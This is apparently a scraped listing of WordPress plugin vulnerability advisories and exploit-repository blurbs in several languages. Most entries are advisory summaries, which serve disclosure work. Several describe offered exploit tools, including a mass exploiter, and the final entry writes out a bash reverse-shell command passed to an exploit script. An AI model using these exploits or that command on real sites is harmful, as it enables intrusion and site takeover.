PT-2026-104731

Name of the Vulnerable Software and Affected Versions UPI QR Code Payment Gateway WordPress plugin versions prior to 1.4.4 Description The plugin fails to verify if a payment-confirmation request is legitimately associated with the order and customer it intends to confirm. This allows...

CVE-2026-13607: Improper Access Control

The File Uploads Addon for WooCommerce WordPress plugin through 1.7.6 stores customer-uploaded files in a publicly web-accessible uploads directory and the access restriction it generates is ineffective, so an unauthenticated attacker who knows or guesses a file's name can retrieve...

PT-2026-104729

The File Uploads Addon for WooCommerce WordPress plugin through 1.7.6 stores customer-uploaded files in a publicly web-accessible uploads directory and the access restriction it generates is ineffective, so an unauthenticated attacker who knows or guesses a file's name can retrieve...

CVE-2026-97305: Authorization Bypass Through User-Controlled Key

Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...

CVE-2026-84169: Authorization Bypass Through User-Controlled Key

The UPI QR Code Payment Gateway WordPress plugin through 1.4.3 does not verify that a payment-confirmation request actually belongs to the order and customer it claims to confirm, allowing unauthenticated attackers to mark an arbitrary order as paid without making any payment...

PT-2026-106097

Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...

CVE-2026-105397: Improper Neutralization of Input During Web Page Generation

LearnPress plugin for WordPress through 4.4.9.1 contains a stored cross-site scripting vulnerability that allows authenticated instructors to inject scripts via quiz question hint and explanation fields. Attackers with the Instructor role can submit unsanitized payloads through the updatequestion...

PT-2026-106000

LearnPress plugin for WordPress through 4.4.9.1 contains a stored cross-site scripting vulnerability that allows authenticated instructors to inject scripts via quiz question hint and explanation fields. Attackers with the Instructor role can submit unsanitized payloads through the update questio...

PT-2026-104730

The File Uploads Addon for WooCommerce WordPress plugin before 1.7.6 does not verify that the person requesting a customer-uploaded file is the customer who uploaded it, allowing unauthenticated attackers who know or guess a file's name to download other customers' uploaded files...

CVE-2026-78371: Authorization Bypass Through User-Controlled Key

The File Uploads Addon for WooCommerce WordPress plugin before 1.7.6 does not verify that the person requesting a customer-uploaded file is the customer who uploaded it, allowing unauthenticated attackers who know or guess a file's name to download other customers' uploaded files...

CVE-2025-39436

🚨 Exploit de plugin WordPress : CVE-2025-39436 📝 Description Une vulnérabilité de téléchargement sans restriction de fichier de type dangereux existe dans le plugin WordPress "I Draw". Cet exploit permet aux attaquants de télécharger des fichiers malveillants sans restriction. Le problème impacte...

CVE-2024-4439

CVE-2024-4439 CVE-2024-4439 docker and poc إعداد بيئة الاختبار بعد تشغيل حاوية docker، لا تزال هناك بعض الإعدادات المطلوبة قم بزيارة 127.0.0.1:8080، وبعد إكمال الإعداد في لوحة التحكم - المظهر - السمات، حدد سمة، ثم قم بتخصيصها وإعدادها انتقل إلى التصميم - القوالب - المقالة الفردية اختر الصورة...

WP-CVE-2025-4322---Scan

الاستخدام اختبار عادي python3 wp-backdoor-remote-scan.py https://misitio.com مع إخراج JSON python3 wp-backdoor-remote-scan.py https://misitio.com --json ضبط عدد الخيوط والمهلة للمواقع ذات حد المعدل python3 wp-backdoor-remote-scan.py https://misitio.com --threads 5 --timeout 15...

CVE-2024-12542

CVE-2024-12542 linkID = 0.1.2 - Autorisation manquante permettant l'exposition d'informations sensibles sans authentification Description Le plugin linkID pour WordPress est vulnérable à un accès non autorisé aux données en raison d'un contrôle de capacité manquant lors de l'inclusion de la...

CVE-2024-10924

استغلال لـ CVE-2024-10924 إضافة Really Simple Security لووردبريس - تجاوز المصادقة 📌 نظرة عامة CVE-2024-10924 هي ثغرة أمنية حرجة لتجاوز المصادقة في إضافة Really Simple Security لنظام ووردبريس الإصدارات 9.0.0 إلى 9.1.1.1. تسمح هذه الثغرة للمهاجمين غير الموثقين بتسجيل الدخول كأي مستخدم بما في ذلك...

CVE-2026-19598-

CVE-2026-19598 — Pods WordPress Plugin Unauthenticated Privilege Escalation -red.svg Critical Unauthenticated Privilege Escalation CVSS 9.8 — WordPress Pods Plugin ≤ 3.3.9 This tool exploits CVE-2026-19598 , a vulnerability in the WordPress Pods plugin that allows unauthenticated attackers to...

CVE-2015-1579

CVE-2015-1579 - WP Revslider AFD Exploit : Wordpress Slider Revolution Responsive = 4.1.4 : Date de la vulnérabilité : 24/07/2014 Auteur de l'exploit : anarc0der Version : Wordpress Slider Revolution Responsive = 4.1.4 CVE : CVE-2015-1579 Comment faire : python3 xpl.py --url='cible' Exemples de...

WordPressMassExploiter

WordPressMassExploiter Exploiteur de masse de la CVE-2015-1579 pour le CMS WordPress Cet exploit de masse est basé sur la CVE-2015-1579, découverte par CLAUDIO VIVIANI https://www.exploit-db.com/exploits/36554/ Comment ça fonctionne : 1 - J'utilise le framework Selenium pour effectuer la recherch...

CVE-2024-2876

CVE-2024-2876 - Vulnérabilité d'injection SQL dans Email Subscribers by Icegram Express Aperçu CVE-2024-2876 est une vulnérabilité de sécurité critique découverte dans le plugin "Email Subscribers by Icegram Express" pour WordPress. Cette vulnérabilité affecte les versions jusqu'à la 5.7.14 inclu...

CVE-2023-26326_Buddyform_exploit

استخدام: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' في الأصل، تطلبت CVE-2023–26326 سلاسل أدوات gadget chains لاستغلالها كثغرة إلغاء تسلسل deserialization. لم تعد هذه الطريقة مجدية على مواقع ووردبريس الأحدث التي تعمل على PHP 8+؛ ومع ذلك، من خلال ربطها مع...